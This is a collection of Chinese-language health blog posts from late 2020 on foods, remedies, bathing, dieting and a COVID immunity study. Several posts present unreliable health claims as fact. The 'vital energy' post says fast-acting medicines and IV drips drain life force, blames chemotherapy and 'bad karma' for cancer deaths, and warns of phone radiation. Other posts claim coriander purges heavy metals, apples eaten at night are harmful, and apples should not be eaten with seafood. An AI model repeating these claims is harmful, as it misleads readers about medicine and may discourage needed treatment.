香菜的味道不是每个人都喜欢。

「老板,一碗面线,拜托千万不要加香菜!」香菜(芫荽)是我们普遍用来增添食物风味的香料植物,不过它的气味并非所有人都能接受,有些人甚至对香菜厌恶至极,光闻到味道都不行。其实香菜并非空有香气(对某些人来说是臭气),它还有许多营养价值,能排毒、顾肠胃、抗癫痫。

香菜香气「逼人」、评价两极,对爱好者来说,其独特气味几乎可和任何食物搭配,是香料界的「百搭款」,但对于害怕的人来说,却是避之唯恐不及的大地雷。若先不论喜好,香菜其实是种营养价值高、维生素丰富的食材。适量食用香菜,还可起排毒、顾肠胃与抗癫痫之效。三立新闻根据《科技新报》的报导,最近科学家已发现香菜预防癫痫发作的机制:天然分子十二烯醛(dodecenal)。


香菜

「癫痫」即俗称的“羊角风”或“羊癫风”,是一种常见的神经系统疾病,多导因于脑部不正常放电,病人可能会出现昏迷、抽搐等症状,并伴随神经、认知、心理等障碍。美国加州大学最近的研究发现,香菜中的「长链脂肪醛十二烯醛」能有效延缓癫痫的症状。科学家表示,香菜含有的十二烯醛可「打通」大脑细胞的钾离子通道,并与钾离子通道部分结合,调节神经细胞的兴奋性。

动物实验也发现香菜中的十二烯醛可以延缓老鼠癫痫发作,在相关研究中也发现类似结果。因此研究人员认为,或许未来科学团队可以将香菜含有的十二烯醛投入抗癫痫药物研究,开发更有效的药物。


癫痫发作

很多讨厌香菜的人会形容它的味道像芳香剂或泥巴,这是因为都含有类似的「醛类」气味分子,偏偏十二烯醛刚好是香菜在对抗癫痫上大有帮助的物质。香菜除了有助对抗癫痫,还能抗癌、抗发炎、抗菌,也可保护心血管、胃部,起镇痛作用。此外,香菜有促进人体排出水银、铝、铅、锡等残留物的效果;天生不容易流汗或身体容易浮肿者,也可借由吃香菜帮助身体出汗、散热。

2020-11-24 / by / in
它可降胆固醇三成,专家:「这样吃」真有效果(组图)

健康/降胆固醇/降血糖/桂皮

桂皮又称肉桂,对大家来说都不陌生,桂皮的原植物比较复杂,又被称作官桂、桂心、简桂、玉桂、牡桂,为樟科常绿乔木,桂皮甘甜微辣,有浓郁香味,是最早被人类使用的香料之一。

树皮也就是人们常说的桂皮,桂皮可用于医药,为传统中药材,也作调味品,有驱风健胃、活血祛瘀、散寒止痛之效;补五脏之其中四脏:心脏、肝脏、脾脏、肾脏;树枝称作桂枝,能发汗驱风,通经脉。

《每日健康》根据网站《steptohealth》的报导,桂皮对于降血糖、降胆固醇有绝佳的效果。而且它是非常天然的方法,因为它完全不含农药。

桂皮如何降低血糖?

桂皮在世界各地是一种非常普遍的香料,很多面包、糕点,甚至是一些冰沙中都会使用肉桂。此外,它还是天然的药物,被用来治疗各种不同的健康问题。

一份研究指出,让70位第二型糖尿病的病患每日食用6克肉桂,持续40天后,每个病人至少降低了29%的血糖水平。

桂皮如何降低胆固醇?

桂皮可对抗「坏胆固醇」,和针对糖尿病患者的方法类似,研究人员给患有高胆固醇的人每天食用肉桂,最后胆固醇降低了7%~27%。

如何食用桂皮?

桂皮有很多不同的食用方式。你可以把它加到糕点或饮料中,或是喝杯美味的肉桂茶。

首先烧开一杯水,加入1根肉桂棒或1汤匙的肉桂粉。盖上杯盖静置几分钟,饮用前可加入一些蜂蜜调味。另一种方法是加一些肉桂粉到你的咖啡、果汁、麦片,或任何其他的饮料和甜点。


桂皮

桂皮很容易买到,而且价格便宜。建议你选择使用肉桂棒,少用肉桂粉,因为桂皮棒保留了更多的健康益处。

最后要注意的是,虽然桂皮是控制血糖和胆固醇的好帮手,但你不能擅自停止服用医生开给你的药物,应该要定期就医,再搭配一些天然食疗。

2020-11-24 / by / in
吃苹果的6大禁忌 要早知道 守着健康

牙齿苹果果酸打蜡吃苹果 禁忌

苹果属亚科植物,是日常生活中常见的水果之一,它不仅有丰富的果酸,还富含矿物质和维生素、钙等,多吃苹果对于人的身体健康非常有好处。

但是,有很多人不知道吃苹果还有很多的注意事项,如果我们想要拥有一个健康的身体,那么我们就要从饮食上注意了,这样才能让苹果吃得健康。

新研究负责人口腔修复研究专家大卫・巴特利特教授表示,保护牙齿不仅涉及“吃什么”,更关系到“怎么吃”的问题。吃苹果有益健康,这一点毫无疑问,但是如果吃苹果速度太慢或用牙齿啃,其中酸性物质就会伤害牙齿。在这项由1,000多名18~30岁男女参试者的新研究发现,吃苹果的人发生牙质损伤的危险增加3.7倍,而喝碳酸饮料的人中,这种危险却并没有增加。

特别注意事项

1、吃苹果最好搭配牛奶或一片奶酪,有助中和酸性物质。

2、吃完及时漱口。

3、吃前刷牙,刷牙会给食物和牙齿之间加上一道屏障。


刷牙会给食物和牙齿之间加上一道屏障。

4、把苹果切成小块,用牙签插着吃。

吃苹果6大禁忌

禁忌一、吃苹果别啃苹果核

我们吃的苹果的苹果核中含有少量有害物质,这个有害物质就是氢氰酸。氢氰酸大量沉积在身体,会导致头晕、头痛、呼吸速率加快等症状,严重时可能出现昏迷。

但也不必过分担心,苹果中的氢氰酸主要存在于果核,果肉里并没有。需要提醒的是,在日常生活中我们吃苹果时习惯就是啃到果核才扔掉,虽然这样吃是不会立刻导致中毒,但是长期这样吃的话,对我们的健康非常不利。

禁忌二、小心打蜡苹果

许多苹果在生长过程中,过量使用催长素、催红素、膨大素,或者存放中过量使用防腐剂,甚至出售中也使用着色剂、打蜡、漂白染色等,借此满足消费者,这些有毒水果已经成为严重威胁人们健康的公害。

“有毒苹果”的危险:膨大素催个,催红素增色,防腐剂保鲜。过量使用膨大素、催红素、防腐剂会伤害肝脏。

一般果贩都会给自己卖的苹果打上工业使用的石蜡,这些商贩的目的是为了保持苹果的水分,也是苹果体鲜亮有卖相的原因之一。

禁忌三、苹果不宜与海鲜同食

苹果中含有鞣酸,与海鲜同食不仅降低海味蛋白质的营养价值,还易发生腹痛、恶心、呕吐等。同理,其他含鞣酸多的水果,如:草莓、杨梅、柿子、石榴、柠檬、葡萄、酸柚等,都不宜与海鲜同食。

苹果的营养很丰富,吃苹果时要细嚼慢咽,这样不仅有利于消化,还能防病抗癌。


苹果不宜与海鲜同食

禁忌四、晚上不能吃苹果

很多人晚上饿了习惯吃苹果,早上吃的苹果是金,晚上吃的则是苹果垃圾,对身体没有益处的。

禁忌五、刚吃完晚饭不能吃苹果

吃晚饭1个小时后吃苹果可以促进消化,可是刚刚吃完饭就吃苹果不利于消化。

禁忌六、溃疡性结肠炎的病人不能吃

溃疡性结肠炎的病人不宜生食苹果,特别是急性发作期,由于肠壁溃疡变薄,苹果质地较硬,又加上苹果含有1.2%粗纤维和0.5%有机酸的刺激,不利于肠壁溃疡面的愈合,且可因机械性的作用肠壁,易诱发肠穿孔、肠扩张、肠梗阻等并发症。

2020-11-23 / by / in , ,
你的元气都去哪儿了?(组图)

养生/健康生活/护生/元气耗散

身体健康是人生中最重要的,不要不当一回事,要学会养护好它,怎样才能养护好?这就成了每个人的大问题了。

元气在中医来讲,属于先天的,母胎里带出来的。用完了就没了。男的在32岁之前,女的在28岁之前,吃进去的东西还能转化为元气。过了这个坎后,就只有消耗的份了。元气没了,人也就死了。除非你去修炼。有几种方式消耗人体元气。

一种是自己不知道身体规律,然后瞎折腾,以为自己有使不完的劲。像许多工作狂,媒体工作者,都因年轻得病英年早逝。就是太不把身体当一回事。现在人工作很忙,忙到身心分离的特别严重。只在困得不行,才躺下去,睡得很沉,然后闹钟一下子惊醒,赶紧上班。这样身心分离长久下去,就导致元气消耗过重。


电脑工作 computer 

现在西方人也在慢慢修习静坐,比如观呼吸。甚至许多西方人跑到中国来学传统的养生。其实养生最重要的一点,就是要身心合一,不要身心分离。身心分离后,你的心就跑到物,跑到工作上,很少回归你生命中,你身体中。你身体的免疫系统就出问题。

工作狂其实和黄帝内经讲的“以欲竭其精,以耗散其真”是差不多了。这种对名利钱财面子的追求过度,都会消耗元气。

第二类,对药常识的无知。现在人越活越傻,就是身体的本能觉知在退化。现在人一生病,就去医院,然后靠仪器来检查。小孩子一发烧,就打点滴。这类行为都非常损耗人的精气神。有句俗话,“能吃药尽量不打针,能打针不吊瓶。”药吃进去,经过肠胃消化吸收,起码人体的智慧会筛选掉,然后选择什么进入血液。但你一打点滴,效果很快,可是破坏了人体的运转。现在人医药常识越来越差。你想中国几千年来,他靠什么来防护疾病,就是靠黄帝内经,靠本草纲目。但现在人不相信这些,可见也是福报愈来愈小了。

治病是人体在慢慢恢复,凡是快速起作用的药物,都是消耗元气的。有个婴儿,不到一岁发高烧,他妈妈给他滴美国研制的退烧药,一滴下去,马上出汗退烧。看起来效果很快。但出现一个问题:以前婴儿很会跳,婴儿的能量足,就喜欢跑,动腿。这个药一滴下去,那婴儿病是好些,但后来再也不会跳了。元气消耗严重了。现在人物质发达了,人就越笨了。狗生病了,会自己去山上找草药,这是狗本能,它觉得这个味道好,就吃,一吃病就好了。人体也有这个智慧,但你现在慢慢被大脑知识蒙蔽了,非要去医院拍个片,乃至验血一下你才相信。活活的把你身体智慧给消灭了。

有许多有良心的专家提出,其实癌症十个中有九个被吓得半死,半死后就去过度治疗,化疗,结果真的全死。为什么被吓?按照佛法来讲,只能说恶业重。这类人是阎罗王来管了。

第三类,贪生,被营养品给害死了。有些人去补肾,滋阴,如果你本来欲望重,你还是少补一些。老天爷让你休息休息了。现在你一补,身体就来了能量。人一有能量,要么往四肢走,这类适合劳动者,要么聚集在下丹田,就跑男女欲望去了。本来元气在体内藏得好好的,你吃补品,也要靠元气来吸收消化,你看起来有能量了,但元气却少了。这类的补对人来说是个灾难。

古人认为,吃的东西要少一些,七分饱就好。你吃饭,饭消耗要靠你元气。男过32,女过28,你的五谷精气就无法转化为元气,就只有消耗的份了。你吃多少,耗多少元气,都是注定的。所以年纪大了,要多吃素,而且要饮食简单,千万不要重口味。本来肚子饱了,再吃一点辣酱,就有味口,就拼命吃。这都是伤身。古人说的,是药三分毒,药有偏性,但是过饱九分毒。

第四,现在导致精神外耗的,就是辐射,电脑电视尤其是手机辐射。现在许多低头族,低头看手机。每天脑袋都在接受和生命无关的垃圾新闻。人如果灵性出现饥渴,他外在表现就拼命去看乱七八糟的东西。而且在辐射下,人会变得有精神,这也是消耗元气的方式。

2020-11-22 / by / in
英国研究证实:染疫者康复后 拥有至少6个月免疫力(组图)

中共肺炎/新冠病毒/疫苗/免疫力/抗体/染疫

中共肺炎(新冠)疫情依然肆虐全球,困扰着每一个人。有关新冠病毒的许多事情我们仍然不清楚。对于病情为什么有人轻、有人严重,现在进入冬季,天气越来越冷,新冠病毒是否会卷土重来?

新冠肺炎疫苗有预防效果吗?从长远来看,我们如何预防新冠病毒呢?


免疫力

其实,最核心的问题还是人体免疫力的问题,但就在这方面我们恰恰了解得不多。

BBC报道,免疫系统的记忆力跟人的记忆力相似,它可能对有些感染记忆犹新,但也会忘记另外一些感染。

例如,麻疹,通常患过一次后可获得终身免疫。但人体的免疫系统会遗忘许多其他病毒,例如儿童会在一个冬季多次感染呼吸道合胞病毒(RSV,respiratory syncytial virus) 。

英国牛津大学研究人员今(21)天表示,曾感染2019冠状病毒疾病的人,至少6个月内不太可能再次染疫。


医护人员

《中央社》报道1万2180名牛津大学医院医护人员在30周内,进行新型冠状病毒定期检测,牛津大学针对这些资料研究二度染疫情况。调查结果显示,拥有抗体的1246名医护人员中,没有一人出现染疫情况。

3名有抗体的医护人员采检为阳性,但健康状况良好,并没有出现症状。

研究作者之一、牛津大学教授艾尔(David Eyre)表示,这个发现「真是好消息」。

他说:「我们可以确信,大部分得过2019冠状病毒疾病的人,至少短期内不会再染疫。」

研究人员强调,目前还没有足够的资料来判断,6个月后的保护作用会是如何。研究人员将继续收集资料,希望了解免疫保护力能够持续多久时间。

牛津大学医院感染预防和控制主任杰佛瑞(Katie Jeffery)说,这是个「令人兴奋」的发现。

美国生技公司莫德纳(Moderna)本周宣布,其候选疫苗后期试验初步结果显示,疫苗防护力将近95%。一周前,美国制药大厂辉瑞(Pfizer)与德国伙伴BioNTech联手研发的疫苗预防效果达90%。

2020-11-22 / by / in , ,
剩下的饺子皮做出超好吃的葱油饼(视频)

健康/饺子皮/葱油饼

我们包饺子经常剩下饺子皮,有的时候觉得还很麻烦,没关系 ,今天有个简单的方法成功率是百分之百,可以用饺子皮做出超好吃的葱油饼。

饺 子 皮 葱 油 饼

材 料:饺子皮适量,盐适量,五香粉适量,香葱适量,油适量

做 法:

准备好材料,饺子皮3-6张,看个人喜欢的薄厚度,盐适量, 五香粉适量,香葱适量,油适量。

先把葱去掉根部,清洗干净后切成小段,加入适量盐和五香粉, 再加入适量油,拌成葱油。

取一张饺子皮,用刷子蘸少许葱油,在饺子皮表面刷上一层葱油。

然后再放上一张饺子皮,再刷上一层葱油, 这样重复叠上6张饺子皮,最上面的一张不要刷油。

完成后用擀面杖轻轻地往四周擀开,尽量擀得薄一点。 同样的方法全部做好。

平底锅中刷上一层油,把擀好的面片放入锅中。

中小火,一面煎好后翻面再煎另一面,煎至两面都呈金黄色, 取出。

全部做好后,切成小块,喷香酥脆的葱油饼就可以吃了。

小 贴 士:这个葱油饼很薄,煎的时候要用小火 ,不然的话容易糊,煎的时间也不用太久。

2020-11-22 / by / in ,
世界上胖子最少的国家,与其生活习惯密切相关(组图)

饮食/肥胖/日本学生/日本人 /生活习惯

想知道为什么不喜欢运动的日本人却是全球身材最瘦的?

但凡去过日本的国人,会发现日本的胖人较少。偶尔会有一二个相扑运动员身材的人从眼前晃过,但是,成群的胖子在街头“欣然飘过”的情形,在日本还真是很少看到。举目四顾,满眼多是表情严肃、脚步匆忙的瘦子。

有趣的是,日本人却并不爱运动,普遍没有健身习惯。根据医学期刊《The Lancet》调查「全球最不爱运动的国家」,日本排到第十一名,全国有超过60%的人参与运动的积极度都是在平均水平以下。全球最爱运动的国家是美国,全国有超过40%的人参与运动的积极度都在高水平以上。

为什么不喜欢运动的日本人却是全球最瘦?答案很简单,比运动更重要的,是独特的日常生活习惯和特殊的国情。

以下重点介绍日本人的生活习惯,供大家作为管理自己的胃袋子、控制好自己裤腰带的参考,日常生活习惯左右人体的胖瘦:

饮食习惯一:重早餐,外食少。

在日本文化中早餐是三餐之中最重要的一餐,所以长久以来日本妇女每天早上都要为家人准备丰富又健康的早餐。很多家庭是让小朋友吃完早餐才能出门,中午也会带妈妈做的便当。研究表明:不吃早餐容易导致肥胖:人体的细胞含有类似于钟表的遗传因子,一般被人们称为生物钟。转化脂肪也是由生物钟控制的,只要能形成和生物钟吻合的饮食习惯就可以轻松的瘦下来。生物钟使人形成早上醒来,晚上睡觉的生活规律,到了早上血压和体温都会上升,为白天的生命活动做充分的准备。种种原因可知,早饭是非常重要的。


寿司

饮食习惯二:热量低,搭配多。

日本人吃的食物都是偏清淡且低热量的,所以我们在日本料理中多见生食。他们在日常烹饪中,油腻和辛辣的调味品也用得非常少。日本传统文化推崇“新鲜至上”,因此日本妇女通常喜欢多买一些鱼、蔬菜和水果等,红肉、糖果、饼干这些高热量的加工食品则买的比较少。日料独特的味噌汤中含有大量维生素E、钙和矿物质,当然还有黄豆中丰富的蛋白质,只是已经将之转化为更容易消化的氨基酸,是一种可以帮助我们降低热量摄入,降血压,防止动脉硬化作用的减肥食品。

一天吃30种食材,这是日本厚生劳动省在1985年《为了健康的饮食生活指南》中提倡的饮食目标。此后,30种食材这个概念在日本传播得非常广,被很多主妇当作一个准则来安排一天的饮食生活。日本人的料理多藻类蔬菜,他们最常吃的就是紫苏和紫菜。这些食物中富含多种营养元素,蛋白多但脂肪少。

饮食习惯三:碗碟小,八分饱。

但凡去过日本的国人,第一个切身感受恐怕就是份量太少,对习惯了大快朵颐的国人来说,初到日本时,恐怕没几个能觉得在日本能吃饱。每个人一小碗,虽然吃饭的种类有很多,但是每一种料理的量却真的很少,会让人在吃饭的时候有一种已经吃了很多的感觉,其实并没有,久而久之就会养成吃得比较少的习惯。日本还十分崇尚“吃饭八分饱”。他们会用漂亮的餐具来盛放食物,吃饭时不要狼吞虎咽,而他们在吃到八分饱时,则会停止进食。


日餐分量少

另外,在出行习惯上,和西方人相比,日本人更喜欢散步或骑自行车出行。

就平均每100人中拥有自行车数量而言,日本位于世界前列,并超过了中国。

在日本,打车是一种非常奢侈的行为,在日本人的观念中走路是既省钱又方便的交通方式,即使花费的时间要长很多。若去一个地方,打车需要8分钟,走路需要半个小时的话,日本人会果断选择走路。

美国的小朋友上学基本上都是坐校车,有的还会是家长直接去接送。中学生和大学生有的是自己直接开车上学。但在日本,小朋友基本上都是走路上学的,在大学里面也很少看到开车上学的人。

另外,自行车在日本是人人惯于使用的交通工具,无论是到学校的学生族,赶火车、赶地铁的上班族,或是带小孩上幼儿园、采买家中生活用品的主妇,自行车都是他们代步的首选。

身处全世界人口密度最高的国度,日本社区内各种设施都比较集中,五到十分钟之内,就能找到超级市场、幼儿园、各级学校等,解决你的日常所需,自行车是方便实际的出行工具。

通勤时间长,无形中加快了热量消耗。对于日本上班族来说,他们每天花到通勤上的时间较长,加上交通发达,他们平均每天走路、搭电车、骑自行车的时间就要一两个小时。过去日本就有调查发现,平均通勤时间越长的省县,县民罹患椎间盘毛病的机率也越低,原因在于身体为了在摇晃的电车上保持平衡,无形中也锻炼了身体,加快了热量的消耗。

另外日本是一个多山、多丘陵的国家,所以有些道路需要上坡下坡。所以对日本人来说,通勤不是单纯的走路,而是上上下下的爬坡运动,这在无形中也增加了运动的难度。


日式园林

还有哪些习惯与肥胖密切相关?

有蛀牙:有了蛀牙后,人们吃东西时咀嚼的频率降低,使消化酶分泌量减少,不利于消化。

睡眠时间短:研究结果表明和每天睡7~9小时的人相比,每天睡眠6小时以下的人的肥胖率高23%。

早上赖床:早上就动起来的话,可以使一天都能有很好的代谢状态,所以尽量让自己早起动一动吧。

经常去便利店:去了便利店后经不起诱惑就买了一大堆零食,然后……

每天看电视超过两个小时:看电视时人们总是会找点什么东西啃啃,边看边吃时,你很难控制自己的食量(因为注意力都在电视节目里)。

常常觉得无聊:除了吃饭时间,人们习惯在有压力和无聊的时候吃零食,不知不觉就容易吃多,所以多出去走走,让自己闲不下来吧。

有很多肥胖朋友:正所谓“物以类聚”,研究表明肥胖的人的朋友有37%至57%的概率变胖。

2020-11-21 / by / in , ,
红茶甩油新喝法!加一味 防止黑斑 双倍燃脂降血糖

健康/红茶/番茄

保持好的身体食物搭配更重要,只有好的食材组合才会更美味而又更健康,下面我们来看看日本医学博士对食材组合的研究和说法。

说到搭配起来特别适合的食物,大家一定会想起红酒和牛肉,如果是家常菜的话,就是牛肉和洋葱。但是你知道吗?一份专业研究报告指出,其实牛肉搭咖啡、白巧克力搭鱼子酱这种看似八竿子打不著的食材组合在一起,也能产生绝妙的好滋味。日本医学博士石川善树便根据这项理论,推荐大家「番茄搭红茶」的组合。

食物搭配理论,让食材组合更美味又健康

《早安健康》引述石川善树观点解释,食物搭配(Food Pairing)理论中,建立了一张「食物网路」,拥有相同气味分子的食物彼此之间具有连结,透过连结,它们只要组合在一起便能产生更加强烈的风味,不必额外添加其他调味料。

番茄和红茶就是一例。最特别的是,两者都是具有「燃烧脂肪」效果的食物,这项搭配不仅能够创造崭新的美味,还能够促进内脏机能,打造健康的身体。


红茶

番茄与红茶:燃脂事半功倍

红茶除了能够排出体内多余的脂肪,还能够提高身体温度。一天喝超过2杯红茶,除了减少内脏脂肪,还可以达到抑制脂肪吸收的效果。但是红茶中含有咖啡因,饮用需适量,避免影响睡眠品质。

另一方面,番茄本身就具有改善排便不顺、防止黑斑、抗氧化和加强体内代谢的效用。除此之外,根据日本京都大学河田照雄的实验,番茄具有的「13-oxo-ODA」脂肪酸在加热以后,还能有效地燃烧脂肪、降低血糖与三酸甘油脂。

为了将番茄和红茶的优点发挥到最大限度,日本最大食谱研究网站Cookpad推出「番茄红茶汤」这道食谱,将煮熟的番茄搭配温热的红茶一举组合在一起。简单好做,暖身又甩油。


番茄

番茄红茶汤:简单做、热热喝

需要准备的食材:

新鲜番茄(可以视喜好使用整颗番茄或切丁)

茶包(大吉岭、阿萨姆皆可,特别推荐格雷伯爵)

步骤:

先把红茶煮好,一袋2g的茶包则1公升的水中加入五袋

红茶煮好以后,将茶包取出,放入番茄

可以添加红酒,增添风味

转到大火,把多余的浮沫捞除

煮滚以后加上锅盖,以弱火炖煮十分钟

过程中不需要加入其他调味料,但如果平时口味较重,可以视偏好加入少许砂糖或胡椒提味。

这道番茄红茶汤制作起来迅速又简单,早上起来熬煮,时间也够在出门上班前喝上一碗,剩下的可以装在保温瓶中,无论要出外跑业务或坐办公室,随时都能喝一口,保暖又健康。

2020-11-21 / by / in
冬天这样洗澡会生病 有些误区几乎人人犯过

健康/洗澡/合理

冬天来临,在生活上给人们带来一些不便,特别冬天洗澡不但有些冷,且洗澡的方式不对,还会让你生病 + 短命。这就需要你了解几个洗澡的误区,对你的健康负责。

误区1 热水泡澡时间长

冬季天气寒冷,大家都喜欢舒服地泡在热水中,舍不得离开。但这可不是什么好习惯。泡澡时间太长,会使皮肤表面失去油脂保护,从而产生干燥瘙痒等症状,还会引起皮肤发皱、脱水等情况。此外,长时间泡澡人容易疲劳,易引起心脏缺血、缺氧,致使冠状动脉痉挛、血栓形成,甚至诱发严重的心律失常而猝死。

★ 建议:盆浴20分钟,淋浴3至5分钟即可

误区2 洗澡水温越高越好

寒冷的天气里,很多人都喜欢用很热的水洗澡,甚至觉得越滚烫的水温越能提高身体热度。但洗澡水温过高却会让你的皮肤苦不堪言。它会破坏皮肤表面的油脂,导致毛细血管扩张,加剧皮肤干燥的程度。同时,过高的温度还会增加心脏负担,因为全身皮肤血管明显扩张,使大量血液流到全身皮肤,会使心脏缺血缺氧。

★ 建议:洗澡时水温与体温接近为宜。


洗澡啰

误区3 使用清洁能力强的浴液

冬季节皮肤本就干燥脆弱,如果使用清洁能力较强的浴液,会加重损害皮肤的保护层,加重皮肤问题。秋冬季洗澡的时候我们宜选择性质温和的沐浴用品,以避免对于肌肤的刺激。

★ 建议:浴液一定要选择碱性小的,中性的最好。沐浴后最好涂一层可以润肤、保湿的护肤品。

如果有皮肤瘙痒的老年人切记不要用太热的水,而应该用温水轻轻洗(不要搓),因为你身上痒并不是因为有脏东西,而是年纪越来越大皮肤的饱水量下降,皮肤太干燥了而痒,所以不要再用热水刺激皮肤,应该选择事后弄点白醋+甘油涂抹全身,穿棉质衣服,来保护皮肤~

误区4 洗澡过于频繁

很多人认为洗澡越勤,身体才会越干净。但随着冬天的来临,皮肤也变得越来越干燥脆弱,皮肤瘙痒也容易盯上这些“勤洗澡族”。洗澡过勤会把皮肤表面分泌的油脂及正常寄生在皮肤表面的保护性菌群洗掉,容易伤害到皮肤的角质层,由此导致皮肤瘙痒,皮肤的抵抗力也会减弱,反而容易得病。用力的搓洗也会致使本就脆弱的表皮受损,细菌、真菌趁虚而入,造成皮肤感染。

★ 建议:冬季洗澡次数以每周1~2次为宜。


不想洗澡

误区5 洗澡顺序不讲究

冬季的低温使人体皮肤的血管处于收缩状态,而冬季洗澡水的温度又相对较高,温热的水突然从头而至,会让人体调节系统“措手不及”,引起头部及全身皮肤血管骤然扩张,大量血液集中到皮肤表面,导致心、脑等重要脏器急剧缺血,头晕、胸闷等种种不适也会随之找上门来。

★ 建议:冬天洗澡,正确的做法应该是,洗澡前先用热水冲冲脚,待脚部温暖后再慢慢往身体上淋水,让身体有一个逐渐适应的过程。

误区6 洗澡时紧闭门窗

很多人冬天洗澡都喜欢关紧门窗,唯恐外面的冷空气偷偷潜入。但如果使用燃气热水器洗澡,这种行为极易导致一氧化碳中毒。

★ 建议:洗澡时别紧闭门窗,超过半小时一定要上前看看。否则若中毒超过半小时,会有生命危险。


你们干嘛!

这样洗澡最健康

洗澡时间,饭后两小时,或下顿饭前1小时左右为宜;剧烈运动和酒后都不能马上洗澡。

大多数人洗澡,首先就是洗头,这是错误的。冬季气温低,脱掉衣服进入浴室后,血液会集中在内脏和头部,马上洗头,可能导致头部血液流通不畅,长期如此,可能诱发脑血管疾病。

正确的顺序应该这样:

1、洗脸

当你进入淋浴房后,热水一开,就会产生腾腾蒸气,而人体的毛孔遇热会扩张,所以如果当你在此时没有先将脸洗干净,脸上积累了一天的脏东西,便会趁你毛孔大门开启之时,潜入你的毛孔。

2、洗澡

脸洗干净之后就能够清洁身体了。洗澡时水温应与体温接近为宜。若水温过高,会使全身表皮血管扩张,心脑血流量减少,容易发生缺氧;而水温过低则会使皮肤毛孔紧闭,不利于清除污垢,也会令体内热量分发不出来,浴后感觉四肢无力。

3、洗头

头发在蒸气的氤氲中得以滋润,先将头发在水中充分湿润后涂上洗发水,把头发置于顶部搓揉片刻,用清水冲洗,切记一定要冲洗干净,再均匀抹上火局油膏或护发素,轻轻按摩三到五分钟,用宽齿梳梳顺,洗净。

 

2020-11-14 / by / in
抗癌达人教你 怎样吃出健康

健康/饮食/蔬果

水果和蔬菜的简称叫果蔬。是人类不可缺少的食用水果和蔬菜,果蔬的主要成分是人体所必需的一些维生素等多种营养,对人体健康来说果蔬就有着不同凡响的意义。

那么你今天有吃果蔬了吗?想要拥有健康身体,除了有养成规律运动、充足睡眠的生活习惯外,正确的营养补充更是不可缺少!而日常饮食多食用富含多种植化素的新鲜蔬果,更是有效减少自由基带来的氧化伤害,避免癌细胞找上门的重要关键!历经生死关头,曾罹患罕见子宫颈内膜癌的料理达人,推荐一款兼顾营养美味,且同时可以补足多种植化素的「白玉腐皮沙拉」供大家参考。

别小看植物营养素!防老、防癌护健康有一套

什么是「植化素(phytochemicals)」,对人体的健康又能带来哪些益处呢?植化素是「植物营养素」的简称,其指的是存在于蔬果等植物中不同于维生素、矿物质,仅存在于蔬果中、人类无法自行制造的独特微量元素;举凡花青素、茄红素、类黄酮、吲哚等皆属于其一员。

果蔬 

且由于植化素抗氧化力强,能够帮助细胞对抗活性氧的攻击,保护细胞不受自由基造成的氧化伤害、杜绝发炎反应发生。最重要的是,适度补充不仅有助预防老化、强化心血管健康;同时,还具有防癌、抗癌的作用!因此,想要维持健康,每天充分摄取多样化且多颜色的新鲜蔬果,可谓人体自我保健的不二法则!

一次补充多种植化素!达人推「白玉腐皮沙拉」美味又营养

酷爱养生、重视吃下肚每一口食物的食养系作家沈曼江,其实过去对于饮食内容并不讲究,一直到罹患罕见子宫颈内膜癌后,才惊觉「人如其食,你吃下什么食物就决定了你的健康」,而在这样的体悟下,也使得自己更加投入心力研究如何正确、料理每一道食物,才能吃的美味、健康又满足。

而其中的关键,就在于保持食物的原形!尤其是,组合多样性高、富含新鲜蔬果、口味多元的沙拉料理,更是其专长。沈曼江说:这道组合白萝卜、水芹菜、苜蓿芽、红椒等各色蔬菜的「白玉腐皮沙拉」,就是吃出蔬果原味,巧补植化素与膳食纤维的好方法。

★白玉腐皮沙拉

份量:1人份。

材料:腐皮1片、白萝卜1/4根、水芹菜1把、红椒1/4颗、苜蓿芽1碗量。

酱料:可依个人喜好调配(盐巴、胡椒、香油)或市售个人喜爱的酱料。

作法:

1.先将腐皮汆烫后,将其切成0.8公分宽,备用。

2.洗净白萝卜并去皮后,将白萝卜刨成细丝,备用。

3.洗净红椒,将红椒切丝,放置一旁备用。

4.洗净水芹菜后,将水芹菜切段,备用。

5.将所有备用材料:腐皮、白萝卜、水芹菜、红椒、苜蓿芽一起拌匀,淋上酱料即可享用。

好处:

白萝卜含有丰富的维生素C成分,而苜蓿芽中除了有维生素A、B群、C外,同时含有丰富的铁质、蛋白质,且经实验证实适度摄取有预防以及改善粥状动脉硬化的作用。而为整份沙拉有增色效果的红椒,则有大量的维生素C、β-胡萝卜素,可抑制致癌物质。再加上,丰富的植化素成分,适量食用对人体好处多多。


白萝卜

植化素在哪里?

●白萝卜:含有独特的异硫氰酸酯植化素,能抗氧化、预防癌症上身,同时还有助于人体对抗幽门螺旋杆菌的威胁。

●水芹菜:水芹菜中含有的植化素——芹菜素具有抗肿瘤功能,能抑制多种肿瘤细胞生长,诱导肿瘤细胞凋亡,具有抗癌的潜在价值。

●苜蓿芽:适度摄取高纤低卡的苜蓿芽,有助于预防、改善动脉粥样硬化的发生。同时,还有帮助降低血液中总胆固醇和坏胆固醇含量下降的作用,对于保护心血管健康有一定益处。

●红椒:而色泽鲜红、亮丽的红椒,除了有让食物更添视觉美感的好处外;其独特的辣椒素成分更有预防癌症、动脉硬化发生、增加好胆固醇的功用。

【小叮咛】:

最后,要提醒的是,对于已罹患癌症的朋友来说,由于其身体较常人来的虚弱,食用蔬果时,最好能避免生食、煮过再吃,以防止误食遭细菌或寄生虫污染的蔬果,影响健康。且除了癌症病友外,由于未经烹调的蔬果含钾量偏高,对于有肾脏代谢功能不佳问题的朋友,直接生食也有加重肾脏负担的疑虑。因此,针对这类族群建议食用蔬果时,不妨可以汆烫的方式,将蔬菜加工成「温沙拉」,也是不错的选择!

2020-11-14 / by / in , , ,
美日加多名学者最新研究:它含多种强效抗癌成分!

高脂/低糖/强效/抗癌/酪梨

酪梨可是大名鼎鼎的水果,被称为「森林中的奶油」,它的特色是高脂低糖,是超营养的食物,近年来酪梨深受人们的喜爱,而且在最新的一项研究指出,酪梨中的脂肪酸,可以抑制癌细胞增殖!

酪梨中的脂肪酸、维生素E、儿茶酸可能具备抗癌效果

据《早安健康》报道:发表于期刊《科学报告(Scientific Reports)》中,由日本、美国、加拿大多名学者共同进行的研究发现,酪梨可能有抗癌的效果。该实验指出,酪梨中「avocatin B」是一种奇数碳脂肪酸,和偶数碳脂肪酸存在竞合关系,能够阻碍白血病癌细胞的脂肪酸代谢、抑制癌细胞增殖,且副作用极少,而且能和白血病化疗用药并用。

研究小组推测,由于部分脂肪酸中存在着丰富的癌细胞能量来源,而avocatin B能够阻碍脂肪酸代谢,可能进而达到阻碍癌细胞能量代谢的效果。


酪梨

